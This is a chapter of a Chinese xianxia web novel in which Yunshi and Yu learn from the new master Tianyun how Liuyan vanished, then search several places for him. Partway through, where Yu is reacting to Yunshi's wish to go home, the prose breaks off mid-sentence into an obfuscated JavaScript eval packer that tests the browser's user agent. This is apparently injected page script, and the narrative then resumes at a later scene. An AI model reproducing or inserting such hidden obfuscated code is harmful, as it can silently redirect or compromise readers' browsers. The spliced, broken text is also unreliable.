予的御剑之术显然娴熟得多,他操控着飞剑在一旁并行,既是为了照应,也是为云实分担一些气流的压力,同时不断指点:“别僵着!感觉斧头的劲,顺着它微调!对,就这样!别怕晃,你越怕它越晃!想着你要去的地方!” 在予的指引和自身那股蛮横意念的支撑下,云实渐渐找到了一点感觉。虽然飞行的姿态依旧算不上美观平稳,速度也时快时慢,但至少不再像刚开始那样险象环生。混沌光晕包裹的柴斧,划破夜空,朝着西南方向疾驰而去。 月光下,一道清亮的剑光与一道晦暗扭曲、明灭不定的斧影并肩而行,速度竟奇快无比,将地面上的山川河流迅速抛在身后。 予一边分神注意着云实的状态和周围环境,一边忍不住再次感叹:“云实,你这悟性真是没谁了!我当初学御剑,摔了不知道多少次,练了小半年才敢载人。你这……情绪到位,一次就成了?虽然路子野了点,但管用就是硬道理!咱们照这个速度,天亮前就能到天衡宗外围!” 云实闻言,紧绷的心神稍稍一松,脚下斧头的晃动似乎也平稳了一丝。他微微睁开眼,看着下方飞速掠过的、模糊成一片的黑暗大地,感受着耳边呼啸的风声和体内奔腾不休的、带着灼痛感的力量,心中五味杂陈。 天衡宗的山门,与云实记忆中相比,似乎并无太大变化。云雾依旧缭绕,石阶依旧陡峭,来往弟子的服饰与步伐也一如既往的整肃。 云实和予没有直接以旧识身份求见。予动用了一些纸鸢留下的、不易追溯的门路,以及温言提供的、属于四明宗监察体系外围的某种公干名义,几经周折递了消息进去。他们被安置在山门外一处专供访客暂歇的偏院,等待了整整一日。 翌日黄昏,一名面容清秀、神情沉稳的年轻女修前来引路,不发一言,只做了个“请”的手势。她带着两人走的并非通往正殿或客堂的大道,而是沿着一条僻静的后山小径,穿过一片幽深的竹林,最终来到一座位于瀑布旁、简朴而不失雅致的精舍前。 “师尊在里面等候。”女修在门外停下,躬身示意。 云实深吸一口气,推门而入。予紧随其后,好奇地打量着四周。 精舍内陈设简单,一桌一椅,几个蒲团,靠墙的书架上整齐码放着卷宗玉简,空气中弥漫着淡淡的墨香与一种清冽的草木气息。天蕴正站在窗边,背对着他们,望着窗外飞泻的瀑布。她依旧是一身利落的道袍,只是颜色比记忆中的更深沉些,样式也似乎多了几分庄重。长发用一根简单的木簪绾起,身姿挺拔如松。 听到动静,她转过身来。 依旧是那张清丽而带着英气的面容,但眉宇间却笼罩着一层挥之不去的倦色,眼底有血丝,像是许久未曾安眠。然而,当她的目光落在云实身上时,那份倦意下却清晰地透出了一丝旧识重逢的温和,以及更深处的、复杂的审视。 “云实,予,坐。”她的声音有些沙哑,却依旧干脆,指了指屋内的蒲团。自己也走到主位的蒲团上坐下,姿态带着点习惯性的随意。 云实行了一礼,依言坐下。予也跟着坐下,显得有些拘谨。 短暂的沉默。瀑布的水声隐隐传来。 天蕴没有寒暄,目光在云实脸上停留片刻,直接开口,语平淡,却字字清晰: “第一,”她抬起手指,揉了揉自己的眉心,这个细微的动作泄露了她极力掩饰的疲惫,“当这劳什子师尊,比我想的累得多。以前觉得练剑苦,除妖险,现在想想,那些倒是清净。” 她的话里没有抱怨,更像是一种陈述事实的无奈,甚至带着点自嘲。这符合她一贯的性情——不喜虚饰,直面困境。 云实不知该如何接这话,只能沉默。 “第二,”天蕴放下手,眼神变得锐利起来,“流衍的事,我需要可靠的人,从外围,用不那么……‘天衡宗’的方式去查。”她的目光落在云实身上,意味深长,“纸鸢信里大概说了你的来意。你来得正好,或者说……你本来也该来。” 云实的心猛地一紧,喉咙发干:“天蕴……师尊,您觉得流衍师兄他……” “我不知道。”天蕴打断他,回答得异常干脆,甚至带着一种刻意维持的、近乎冷酷的平静,仿佛唯有如此,才能将下面的话清晰地说完,“活不见人,死不见尸,所有线索都断得干净利落,这本身就不正常。霁雪师尊飞升前后那段时间,宗内灵力场有过极其短暂而诡异的紊乱,记录被人为抹去关键部分。流衍最后闭关的洞府外围,有非本门功法残留的细微痕迹,手法老辣,无法溯源。” 她顿了顿,目光如炬,直视云实,声音压得更低,却字字敲打人心:“但事情,得从更早说起。云实,你当初在青石镇对流衍吐露苏妄所言骗局之事,被覆盖性的灵力监控网络扫到,记录直送高层。主要过错和被锁定的目标,一直是你。流衍……他顶多算是监管不力、听闻秘辛未能及时上报,按照常例,就是被叫回来训斥几句,关几天禁闭,反思一下交友不慎,等风头过了,也就罢了。严重程度,跟你小时候调皮捣蛋被你爹关半天柴房差不多。” “可流衍闭门思过了几日,不知他是如何想的,或许是觉得不该如此,或许……是觉得你处境真正危险。他出关后,立刻私下找到我,说你恐有大难,求我去寻你、护你一护。我当时也觉得师尊反应或许过激,便答应下来,动身前往。” 她看着云实,眼中映出过去的景象:“我找到你时,正是你被那三名灰衣人袭击之后,腿骨断裂,倒在荒野。温言路过救了你,但天衡缉令已发,他身份敏感,只能留下信物先行离开。我为你稳定了伤势,纸鸢留下照顾。而我,必须立刻返回宗门——不仅是因为宗门急务,更是因为,我要回去告诉流衍你的确切情况,并劝他……或许该离开宗门,亲自去护着你更稳妥。” 天蕴脸上的线条似乎更冷硬了些,那丝极淡的悔意被更深的自责覆盖。 “我回去后才知道,流衍那时……修为已经卡住了。瓶颈坚如磐石,动弹不得。”她声音沉了沉,“可他一个字也没跟我提。等我再离山去找你时,他转头自己就悄悄跟出来了。” 她看向云实,目光锐利,仿佛要将他带回那段仓惶北上的路途:“你和温言一路北上,遭遇过几次追捕吧?是不是每次都觉得险之又险,却又莫名其妙地化险为夷?后来在白石坳,追兵似乎也没那么紧追不舍了?” 云实一怔,记忆中的一些模糊片段被唤醒——荒野上远处一闪而逝的锐光,夜晚歇脚时林间异常的寂静…… “不是你们运气好,也不是纸鸢当时那点修为真能周全应付。”天蕴语气笃定,带着一种洞悉事实的冷然,“起码有一半的麻烦,在靠近你们之前,就被解决了。除了他,还能有谁?” 她顿了顿,给了云实消化这话的时间,才继续道,声音里带上了一丝复杂的意味:“他一直都在。只是躲在你看不见的地方,不肯露面。后来,你与温言遭遇荒村山魈案,流衍也暗中查看了现场。他觉得此事蹊跷,背后可能牵扯更大,便独自追查下去。” 她的表情变得无比凝重:“他查到了。虽然线索最终指向大自在天的某些外流技术,但顺藤摸瓜,他发现真正的源头和操纵者,并非苏妄或大自在天核心,而是……有人窃取或交易得到了部分大自在天的偏门技术,加以恶意利用,目的……似乎是为了制造混乱,测试某种东西,或者掩盖别的勾当。而当他试图继续深挖,触及到某个层面时,他收到了警告,命令他立刻停止,并暗示此事涉及上层封锁的领域,非他所能插手。” 天蕴停顿了很长时间,精舍内只剩下她略显沉重的呼吸和窗外永恒的水声。 “流衍因为独自查案,耗费了大量时间和心力,修为停滞的问题愈发严重。等他处理完警告,勉强压下追查的念头,回过头来再想关注你时……”她看向云实,眼中是清晰的怜悯与沉重,“他听到的消息是,你已经死了。死在北地某次冲突或劫难中,尸骨无存。” “那之后不久,”天蕴的声音沉缓下来,带着一种剖析事实的审慎,“霁雪师尊飞升,宗门按例需立新尊。流衍……他回来了。” 她微微闭了下眼,像在回想当时情景。 “他修为停滞的事,瞒不住了。接任师尊之位,道行是硬门槛。他过不了。长老合议,最终推举了我。流衍……他没说什么,贺礼也送了,规矩半点不错。但整个人像被抽掉了一根骨头,精气神都散了。我找过他,想说话,他只说‘无事’,‘恭喜’,然后就把自己关进洞府,说是要‘静思’。” 天蕴的指尖轻轻叩着桌面,发出规律的轻响。 “我当他需要时间,毕竟……这落差太大。可就在我接任后不到十天,宗内灵力场有过一次极短暂的异常波动,很轻微,范围也小,就在他洞府附近。值守弟子没当大事,记录也简略。等我觉得不对劲,亲自去看时……” 她抬起眼,目光如深潭:“洞府禁制完好,里面却空无一人。没有打斗痕迹,没有强行闯入的迹象。但他随身的佩剑‘沉水’,平时从不离身,却端端正正摆在静室的蒲团前。” “除此之外,再没留下任何东西。没有留书,没有线索,没有灵力残痕指向外人。就像他坐在那里看着书,看着那枚镇纸,然后……自己决定走了。走到哪里去?不知道。为什么连剑都不带?不知道。” 她的声音终于带上了一丝极淡的、压抑的疲惫:“宗内查了又查,只能推断是他自己解开了洞府禁制,悄无声息离开的。至于那点灵力波动,可能是他最后尝试冲击瓶颈失败的反噬,也可能是别的什么……但绝对没有第二个人出手的痕迹。这才是最让人……无从下手的地方。” 天蕴看向云实目光复杂:“他不是被人掳走,更像是自己……走进了某个我们看不见的迷雾里。或许是因为修为无望,或许是因为心结难解,或许两者都有。但不管因为什么,他选择用这种方式‘消失’,这让宗门无法大张旗鼓去追查,也让事情……变得更加棘手和让人难过。” 她身体微微前倾,语气重新变得斩钉截铁:“所以,必须查。他最后留下的一封留书,里面只有两句话,一句是关于他调查山魈案背后警告的模糊提醒,若云实未死,告诉他,非他之过。是我自己,道心已乱,前路尽绝。’” 舍内死一般的寂静。 天蕴将所有冰冷、残酷、被层层遮掩的真相,在这一刻,毫无保留地摊开在云实面前。 她看着脸色惨白、身体微微发抖的云实:“你必须帮我查。也只有你,可能触及到流衍最后执着追查的那些、关于苏妄技术被盗用、关于上层警告的隐秘边缘。这不仅仅是为了赎罪,云实。这是为了,给流衍一个交代。” “第三,”天蕴话锋一转,再次看向云实,眼中的锐利稍稍收敛,多了几分复杂的打量,“看看你。纸鸢信里说得简略。温言待你如何?研备司那边可有进展?你身上……看来经历了不少。过得可还……顺心?” 云实在这样的目光和直接的问题下,有种无所遁形之感。他避开了前两个问题,低声答道:“温言很好。研备司那边,还在等。我……我自己摸索了点东西,关于布料和灵力引导的。” 他抬起眼,看向天蕴,鼓起勇气问出了自己最关心的问题之一:“师尊,苏妄……他最近,可有在天衡宗附近,或者与宗门……有什么牵连的消息吗?” 天蕴的脸色微微一沉,片刻后才道:“大自在天近来行事越发诡秘低调。苏妄此人,神出鬼没。宗内对他始终保有最高级别的戒备和监视,但近期并未发现他有直接靠近或介入宗门核心事务的确凿迹象。不过……”她眼中寒光一闪,“若此事背后真有他的影子,我绝不会放过他。” 天蕴看了一眼窗外渐暗的天色,重新将目光投向云实和予:“你们既然来了,又恰逢其会。流衍的事,我可以给你们一些不对外公开的线索和权限,但你们须得格外小心,行动必须隐秘,不得打草惊蛇,更不可暴露与我的关联。天衡宗内部并非铁板一块,盯着我这个新位子的人不少。” “好了,”天蕴似乎耗尽了谈话的精力,脸上倦容更显,她挥了挥手,“具体事宜,明日会有人与你们对接。下去休息吧。记住,万事谨慎。” 离开精舍,走在暮色渐浓的竹林小径上,湿润的泥土气息和竹叶的清新味道也驱不散心头的滞重。 予在旁边,脚步放得很轻,过了一会儿才小心翼翼地开口,声音压得低低的:“乖乖,天蕴师尊这气势……比想象中还累人啊。不过,她肯让咱们插手,也是真信咱们几分?” 云实没有立刻回答。他低着头,看着自己脚下被竹叶半掩的青石小径,一步一步,走得很慢。天蕴的话,尤其是关于流衍那些不为人知的守护与最终无声无息的“自我放逐”,像一块块冰冷的巨石,沉甸甸地垒在他心口,压得他呼吸都有些艰难。愧疚、懊悔、一种迟来的知晓真相的刺痛,还有更深层的、对命运弄人的茫然,交织在一起,堵在喉咙里。 予等了片刻,没听到回应,偏头看了看云实紧绷的侧脸和低垂的眼睫,察觉到他情绪不对,便也不再催促,只是默默地跟着走。 又过了好一会儿,直到快要走出这片幽静的竹林,前面已经能看到偏院轮廓的时候,云实才极低地、几乎是从齿缝里挤出一声:“……嗯。” 这声“嗯”很轻,混在竹叶沙沙的响声里,几乎听不清。但予听到了。那不是敷衍,更像是一种沉重的、包含了太多难以言说情绪的确认。 予在心里叹了口气,没再多问,只是伸出手,用力拍了拍云实的肩膀,力道不轻,带着股属于少年人的、笨拙却真诚的安慰劲儿。 两人就这样沉默着,一前一后,踏着渐深的暮色,走回了暂时栖身的偏院。院门在身后合上,将那片承载了太多沉重秘密的竹林留在外面,但那份沉甸甸的重量,已经清晰地转移到了两人的肩上,尤其是云实的心里。 …… 斧子劈开湿冷的晨雾,云实半跪在粗糙的木柄上,指节因用力而发白。风像冰刀片般刮过脸颊,他眯起眼,看着下方迅速倒退的、模糊成一片灰绿的山林轮廓。飞行并不像想象中飘逸,更像一场与脚下这顽固铁块的无休止角力。他的灵力必须极其精细地包裹住斧身,才能勉强让它朝自己想要的方向挪动。与其说他在御斧,不如说是用灵识死死“扳”住一头总想撒野乱撞的倔驴。 予御剑跟在一侧,青色剑光平稳流畅,映着他同样专注但显然从容许多的侧脸。他偶尔瞥一眼云实绷紧的脊背和微微颤抖的手腕,没出声,只是将飞行高度和速度与那柄歪歪扭扭的斧子保持一致。 “左边,那片林子后面,应该就是栖霞镇东头的老坟岗。”予提高了声音,压过风声。 云实点点头,喉咙发干,不敢分神说话。他缓缓将灵力向后压,斧头开始减速,下坠感猛然袭来。他赶紧调整,斧子却像被打了一鞭子似的,头朝下一栽。 “小心!” 云实闷哼一声,全身灵力猛地一收一放,斧子在离地不到三尺的地方险险刹住,然后“哐”一声重重砸在满是落叶的地上,向前搓出去一小段,留下新鲜的泥痕。他被惯性狠狠往前甩,双手脱离斧柄,踉跄好几步才勉强站稳,掌心火辣辣的,估计是擦破了。 予轻盈落地,剑光敛入袖中,几步走过来:“没事吧?” “没事。”云实喘着粗气,弯腰捡起柴斧。斧刃沾了湿泥和碎叶,那些黯淡纹路在污渍下几乎看不见。 栖霞镇东的这片老坟岗比记忆中更加荒芜。残碑歪斜,枯草没膝,几棵老树伸着光秃秃的枝桠指向铅灰色的天空。空气里有一股陈旧的、泥土和腐殖质混合的气味。 “这里……流衍师兄会来吗?”予环顾四周,眉头微蹙。修士并非完全不涉足此类阴秽之地,但通常事出有因。 “不知道。”云实实话实说,目光扫过一座座坟茔。他只是循着一种笨办法:从流衍可能与他有过交集、或者可能藏匿线索的所有地点开始,一寸寸找,“分头看看,注意有没有……不寻常的痕迹。新土,特殊的脚印,残留的灵力波动,或者……刻了什么字。” 他走到一座半塌的坟前,墓碑上的字早已风化模糊。蹲下身,手指拂开碑座上的湿苔和落叶,露出下面泛黄的石面。冰凉粗糙的触感。他想起流衍递给他那个装着旧布料的包裹时,手指的温度似乎总是比常人低一些,但眼神却很温和。那样一个人,会故意把线索藏在坟地里吗?云实不确定。流衍做事有章法,但那份章法里,似乎总藏着一点不易察觉的……悲悯?或者说,是对“无用之物”、“卑微之处”的某种留意?否则,他不会收藏那些抹布角料。 “云实!”予在远处喊了一声。 云立刻起身过去。予站在一座相对较新的坟前——至少墓碑还算完整。指着碑前的地面:“你看这里。” 那是一小片被略微踩实了的泥土,形状模糊,但能看出不是野兽的蹄印,更像是人的鞋底,半边印在湿泥里,半边盖着些半枯的草叶。痕迹很浅,而且被雨水冲刷过边缘,难以分辨新旧。 “像是有人站过。”予蹲下细看,“时间……不好说,几天?几周?但这附近没有祭品痕迹,不像是扫墓的。” 云实也蹲下,伸手虚按在那片痕迹上方,闭上眼睛,全力催动灵识。 一丝极其微弱、几乎要散掉的“余温”被他捕捉到。像有人在这里静静地站了一会儿,思绪起伏,但又很快敛去。 “是修士。”云实睁开眼,声音很低,“在这里停留过,时间不长,心绪……不太平静。但痕迹太淡了,分不清是谁。” “会是流衍师兄吗?” “有可能,但没法确定。”云实站起身,环顾四周,“如果是他,他为什么来这里?看这座坟?” 墓碑上刻着“先考陈公讳大柱之墓”,立碑人是“不孝子陈二狗”。一个很普通的名字,栖霞镇附近常见的农户。 他们记下这个位置,又在坟岗更深处搜寻了半个时辰,再无所获。那只模糊的脚印和那丝微弱的波动,是唯一的插曲。 离开坟岗,他们进入栖霞镇外围的村落。低矮的土坯房,晾晒的粗布衣服,蹲在门口抽旱烟的老人,追着鸡鸭跑的光屁股孩子。烟火气扑面而来,却让云实感到一丝格格不入的恍惚。 他们一家家问,语气尽量平和。说找一位姓流的朋友,可能路过,气度很好,像读书人,也可能像道士。 反应大同小异。村民们大多茫然摇头,带着对修士本能的敬畏和疏离。一位在院子里补渔网的老汉多说了两句:“仙师?前阵子倒是有几位穿着天青色衣服、胸口有山云纹的年轻仙师路过,往镇子里去了,说是采买药材。您说的单独一位的……没瞅见。” 天青色山云纹,是天衡宗低阶执事或外门弟子常穿的服饰。 线索再次指向镇内。 栖霞镇还是老样子,青石板路被岁月磨得光滑,两旁店铺的招牌在风中轻轻晃动。云实刻意避开了当年那条巷子和那家客栈,从另一头进入。人流比记忆中稍显稀疏,或许是天冷的缘故。 他们先去了镇上唯一的书肆。流衍喜静,也许会来这里。书肆老板是个戴眼镜的干瘦老头,正在柜台后拨算盘。听到询问,他抬起眼皮,打量了两人一番——云实的粗布衣袍和柴斧,予的利落劲装——眼神里闪过商人的精明和一丝不易察觉的警惕。 “独个儿的、气度不凡的客人?”老头推了推眼镜,“咱们这儿来的,多是镇上学童、账房先生,或是偶尔路过买本地县志游记的客商。您说的那种……近来真没有。倒是有几位天衡宗的仙师,前些日子来采购过一批空白符纸和基础丹砂,都是三五人一道的。” “他们有没有问过什么特别的事情?或者,有没有一位看起来特别沉静、不太说话的?”予追问。 老头想了想,摇头:“就是正常的采买,问了价,付了灵石,没什么特别的。带头的那位仙师倒是客气,但也没多话。” 一无所获。 接着是铁匠铺。叮叮当当的打铁声老远就能听见。炉火熊熊,热浪逼人。赤着上身、肌肉虬结的铁匠师傅正轮着大锤,砸得铁砧上火星四溅。他徒弟在旁边拉着风箱,满脸煤灰。 予大声问话,盖过打铁声。铁匠停下手,用汗巾抹了把脸,眯着眼看他们:“找啥样的?咱这儿来往的,除了镇上定做农具菜刀的,就是些跑短途的散修,来修修补补他们的刀剑家伙什。您说的那种……看着就很有身份的仙师,不会来俺这铺子打铁。” 他语气直率,带着劳作者特有的实在。 云实的目光扫过墙上挂着的各式铁器,粗糙,实用,毫无灵气波动。流衍的剑是宗门制式,精良优雅,与这里格格不入。他确实不会来。 杂货铺、茶楼、甚至镇口摆摊的算命瞎子都问了一圈。回答如出一辙:没见过那样一个人。 疲惫开始从骨头缝里渗出来。不仅仅是身体的劳累,更是一种希望被一点点磨蚀的无力感。云实站在镇中一条相对僻静的小巷口,看着巷子里被屋檐切割成窄窄一条的灰色天空,突然觉得流衍就像这冬日的阳光,你以为抓住了它的一角,摊开手却只有冰冷的虚无。 “去镇外山神庙看看?”予提议,语气也带上了些许倦意,“有些旅人或修士会在那里暂歇。” 山神庙在镇子西边三里处的山脚下,很小,很旧,墙皮斑驳脱落,露出里面夯土的黄颜色。门虚掩着,里面昏暗,弥漫着香火和灰尘的味道。泥塑的山神像彩漆剥落大半,表情模糊。供桌上只有几个干瘪的果子,香炉里积着厚厚的香灰。 地上有杂乱的脚印和干草铺过的痕迹,显然时常有人在此歇脚。云实和予仔细检查了每一寸地面、墙壁、甚至房梁。除了厚厚的灰尘、蜘蛛网、以及一些早已辨认不出的污渍,什么都没有。没有刻字,没有特殊的物品,连灵力残留都稀薄到近乎于无。 离开山神庙时,天色已近黄昏。铅云低垂,看样子又要下雪。 “今天先这样?”予看着云实有些发白的脸色。 云实摇摇头,望了一眼西边更远处起伏的山峦轮廓:“再往西飞一段,靠近大自在天方向的外围看看。天黑前找地方落脚。” 他们沿着山势低飞,掠过光秃秃的树林、覆着薄冰的溪涧、以及零星几块被开垦过又抛荒的坡地。视野所及,荒凉寂寥。大自在天所在的区域,即便只是外围,也因其主人苏妄的“序乱”之道和乖张名声,显得人迹罕至,灵气氛围都带着一种隐约的躁动和不安。 飞了约莫两炷香时间,下方出现一片怪石嶙峋的谷地,乱石堆中隐约可见废弃的矿洞黑黢黢的洞口。这里已属大自在天的势力影响边缘。 “下去看看?”予指了指那片谷地。 云实点头,操控着已经开始发脾气的斧子艰难降落。 谷地里寒风呼啸,穿过石缝发出呜呜的怪响。石头表面生着厚厚的、颜色发暗的苔藓,一些石头上还有被腐蚀出的奇异孔洞。空气又冷又潮,带着一股铁锈和霉烂混合的味道。 两人分头在乱石间搜寻。这里比坟岗更难走,石头湿滑,缝隙里积着脏污的雪水。云实攀上一块较高的岩石,举目四望。除了石头,还是石头,荒凉得令人心头发沉。流衍那样一个爱洁喜静的人,会主动踏入这种地方吗?除非有极其重要的理由。 他跳下岩石,脚下一滑,手掌下意识撑地,按在了一块半埋的、边缘锋利的石片上。刺痛传来,掌心被划开一道口子,血珠渗出来,很快被寒气冻得发粘。 予听到动静过来,看了眼他的手:“没事吧?” “小伤。”云实扯了截里衣下摆,胡乱缠上。布料粗糙,摩擦着伤口,疼得他咧了咧嘴。这疼痛反而让他昏沉的头脑清醒了一点。他低头看着染血的布条,又看了看这片冰冷的乱石谷。 “不对。”他喃喃道。 “什么不对?” “如果流衍真的在查盗用大自在天技术的事,他可能会暗中接近这片区域,观察往来之人,或者寻找黑市交易的痕迹。”云实慢慢分析,“但以他的谨慎,不会留下明显的痕迹。他更可能……在更外围的、能够观察到这里动静的地方潜伏。比如,”他指向谷地两侧较高的山脊,“那些地方。” 予顺着他的手指望去。山脊线在暮色中显得格外陡峭狰狞。 “现在上去?天快黑了,路不好走。” 云实看了看自己受伤的手,又感受了一□□内所剩无几的灵力。 “明天一早。先找地方过夜。” 他们在离谷地不远的一处背风山坳里找到了一个浅浅的岩洞。洞里有些干草和烧过的柴灰,看来以前也有旅人停留过。予捡来些枯枝,生起一小堆火。火光跳跃,驱散了些许寒意和黑暗,但洞外呼啸的风声和越来越浓的夜色,仍让人感到一种深沉的孤寂。 云实靠着冰冷的石壁坐下,解开手上染血的布条。伤口不深,但皮肉翻着,看着有些狰狞。他从怀里摸出一个小瓷瓶,是温言塞给他的伤药,倒出些粉末撒上,一阵清凉之后是刺疼。他重新用干净布条包扎好,动作笨拙但认真。 予递过来半块硬饼和装水的皮囊。两人就着冷水,默默啃着干粮。 “明天如果山脊上还找不到……”予咽下嘴里干涩的饼,“就直接去大自在天附近?甚至……递帖子求见苏妄?” 云实握着水囊的手紧了紧。 “不到万不得已,不直接接触苏妄。”云实声音沙哑,“那人……心思太难测。我们去找,可能反而打草惊蛇,或者被他牵着鼻子走。”他顿了顿,“先按我们的笨办法,把能找的地方都找一遍。天衡宗周边,荒村,码头……还有白石坳。流衍知道我‘死’前最后安顿的地方是白石坳,他若想给我留消息,那里也许……” 他没有说下去。那里也许什么?也许流衍曾去过,暗中看过纸鸢和村民,甚至留下些什么?他不知道,只是一种模糊的直觉。 夜里,云实睡得很不安稳。伤口一跳一跳地疼,体内的异丹在灵力亏空后有些蠢蠢欲动,带来一种焦灼的虚热感。梦境支离破碎:一会儿是流衍被禁闭前平静的眼神,一会儿是苏妄带着讥诮笑意的脸,一会儿又是荒村祠堂里那具与自己衣着相似的尸体,冰冷僵硬。最后,他梦见自己在一片无尽的灰雾里奔跑,脚下是松软湿滑的淤泥,怎么跑也跑不出去,远处隐约有个背影,像是流衍,又像是穿着温言所赠天青常服的自己,他想喊,却发不出声音。 惊醒时,火堆已快熄灭,只剩几点暗红的余烬。予靠在对面的石壁上,抱着剑,呼吸均匀,似乎睡着了。洞外风声依旧,天色是那种将明未明的深蓝色,透着一股浸入骨髓的寒冷。 新一天的搜寻,依旧是从令人沮丧的飞行开始。山脊上的视野开阔许多,可以俯瞰整个怪石谷地和大自在天方向更远处的朦胧山影。他们沿着山脊线缓慢飞行、步行,不放过任何可能适合观察或隐藏的地点。找到几处野兽的巢穴,几块被风雨侵蚀得奇形怪状的岩石,一些散落的、不知是什么动物的骨骸。没有人迹,没有灵力残留,没有刻痕标记。 离开大自在天外围,他们折向天衡宗方向。这次,云实更加小心,尽量避开主要的道路和可能遇到天衡宗弟子的区域。他们在荒山野岭间穿行,搜索那些可能被用作临时藏身点的山洞、崖缝、林间空地。 临近中午时,他们找到了当初温言救下云实的那个荒谷。山谷里还残留着一些打斗的痕迹:几棵被剑气或灵力削断的树木已经枯萎,岩石上有焦黑的印记。但除此之外,同样没有任何指向流衍的线索。仿佛那场袭击和救援,只是这片荒野偶然泛起的一点小小涟漪,过后便了无痕迹。 接着是荒村。那个曾经发生过山魈惨案、阴森死寂的村落。再次踏入,腐烂的气息比记忆中更淡,但那种沉甸甸的死亡氛围依旧萦绕不去。倒塌的房屋,干涸发黑的血迹,空荡荡的祠堂。 他们仔仔细细又搜查了一遍,特别是祠堂内部和发现账册、玉简的角落。流衍后来独自追查过此案,他很可能重返过现场。然而,除了他们自己上次留下的、以及更早的混乱痕迹外,依旧一无所获。祠堂角落里积着水,映出破碎的屋顶和两人疲惫不堪的倒影。 离开荒村时,云实感到一种深切的茫然。他们就像在沙滩上寻找一粒特定的沙子,而潮水早已将一切痕迹抹平。 然后是码头。当初予混迹讨生活的地方,鱼龙混杂,信息流通,但也意味着痕迹极易被覆盖。他们假装是来找活干的散修,在肮脏嘈杂的码头区转了许久,旁敲侧击打听。得到的消息五花八门,但关于“一个独来独往、气度不凡的修士”的询问,得到的回复要么是摇头,要么是指向某些早已离开的、毫不相干的人。 最后,是天擦黑的时候,他们拖着几乎灌了铅的双腿,来到了白石坳。 这个给予过云实短暂安宁、也被他视为“家”之外另一个归属的小山村,在暮色中显得宁静而温暖。炊烟袅袅,狗吠声隐约传来,空气中飘着柴火和饭菜的香气。 村长和几位相熟的村民看到云实回来,又惊又喜,热情地招呼他们进屋吃饭歇息。围着温暖的灶火,吃着热腾腾的粗茶淡饭,听着村民们用带着口音的方言说着“坳子布”的生意、纸鸢姑娘的照应、今年的收成……云实绷紧了许多天的神经,有那么一瞬间松弛下来。 但他很快又提起精神,状似随意地问起,最近有没有陌生的、看起来像修士的人来过坳子。 村民们互相看看,都摇头。 “没啥生人来,云小哥你也知道,咱这地方偏。” “纸鸢姑娘前阵子倒是派人送过东西来,还叮嘱我们留意生面孔,但一直没见着。” “要说像仙师的……那就更没有了。咱这穷山坳,仙师哪会来。” 饭后,村长坚持让他们住在自家腾出的旧屋里。屋子虽然简陋,但干净,炕也烧得暖和。 云实和予躺在炕上,一时无言。炭火盆的光映在土墙上,晃动着。 “都找遍了。”予盯着屋顶的椽子,声音里是掩饰不住的疲惫和挫败,“栖霞镇,大自在天边儿上,天衡宗附近,荒村,码头,这儿……没有。半点有用的都没有。流衍师兄他……难道真的就……” 云实没有接话。他也看着晃动的火光,掌心伤口在温暖环境里又开始隐隐作痛。 真的什么都没有吗? 火光在土墙上投出两人沉默的影子,随着炭火的微弱噼啪声轻轻晃动。 流衍。天蕴。苏妄。荒村的账册和玉简。被压下的“古法传承纠纷”。盗用的技术。抹布角料。干净得可怕的消失。 线索像一堆被打散的拼图,他拿着几块最不起眼、最不成形的碎片,却不知道整幅图景是什么,甚至不知道剩下的碎片在哪里。 疲惫不仅仅是身体上的,更像是一种从骨头缝里渗出来的锈蚀感,让每一次思考都变得滞重费力。他盯着墙上晃动的光影,忽然觉得这一切都变得有些……虚浮。 而另一边,是青石镇午后暖洋洋的阳光,是自家布料店里干燥温暖的布匹气息,是父亲修补家具时敲敲打打的声音,是母亲在灶间翻炒菜蔬的锅铲声,是弟弟云岭摇头晃脑背诵诗文的样子,是妹妹云舒清脆地拨弄算盘、眼睛亮晶晶地说“哥,这个月又多赚了半吊钱”…… 那些画面如此清晰,带着温度、气味和声音,猛地撞进他心里,撞得他眼眶微微一酸。 “予。”他开口,声音有些干涩,在寂静的屋里显得格外清晰。 “嗯?”予应了一声,似乎也没睡着。 “我……”云实吸了口气,又缓缓吐出,“我想……回家看看。” 予那边沉默了一瞬,然后传来窸窸窣窣翻身的声音。借着炭火的微光,云实能看见予侧过身,面对着他这边,眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们走得不快,一边走,一边留意着路况和沿途的痕迹。云实会时不时蹲下,查看路面被踩踏的情况、车辙的深浅新旧、甚至道旁树木上是否有不起眼的刻痕。予则更注意倾听前后行人的零星交谈,以及观察远处是否有异常的气息或动静。 但官道就是官道,痕迹繁杂,日积月累,想要从中分辨出特定一人留下的印记,无异于大海捞针。他们发现过几处较新的马蹄印,一些凌乱的脚印,道旁歇脚处有篝火的余烬,石头上或许有随手划下的无意义线条……没有任何一样,能明确指向流衍。 时近中午,他们在一个路边茶棚歇脚。茶棚简陋,只卖粗茶和硬饼。几个行脚商人模样的汉子坐在另一桌,大声谈论着今年的皮货行情和某地加征的商税。 云实默默喝着苦涩的茶水,目光落在官道延伸的远方。离家越近,心里那股近乡情怯的感觉就越发浓重。 父亲母亲知道真相吗?温言大概会以他的方式安抚过,但老人家心里该有多煎熬?弟弟云岭还在专心科考吗?妹妹云舒……把云锦记打理得怎么样了?她摆弄那些储物袋时,是否一切顺利,有没有引起不必要的注意? 种种思绪翻腾,让他坐立难安。匆匆吃完干粮,他便催促予继续上路。 下午,官道渐渐宽阔平整起来,路上的行人也多了。远处开始出现熟悉的田野轮廓,甚至能望见青石镇外那片标志性的、种满了乌桕树的山坡。深冬时节,乌桕树叶子早已落尽,只剩下黑铁般的枝干指向天空。 云实的心跳不由自主地加快了。他下意识拉了拉头上遮风的兜帽,将脸埋得更低些。 “前面岔路口,往左是进镇的大路,往右绕过后山,能到镇子西头,那边人少,也能看到你家铺子的后巷。”予低声说,显然来之前做足了功课。 “走右边。”云实毫不犹豫。 他们离开主官道,拐上一条更窄的、被车辙压出深深沟坎的土路。这条路更僻静,偶尔有拉柴的牛车慢吞吞经过。路两旁是收穫后空荡荡的农田和零星几户农舍。 越靠近镇子,熟悉的景物越多:那棵歪脖子老槐树,那条冬天会变得很浅的小溪,溪上简陋的石板桥……每一处都勾起记忆,让他喉咙发紧。 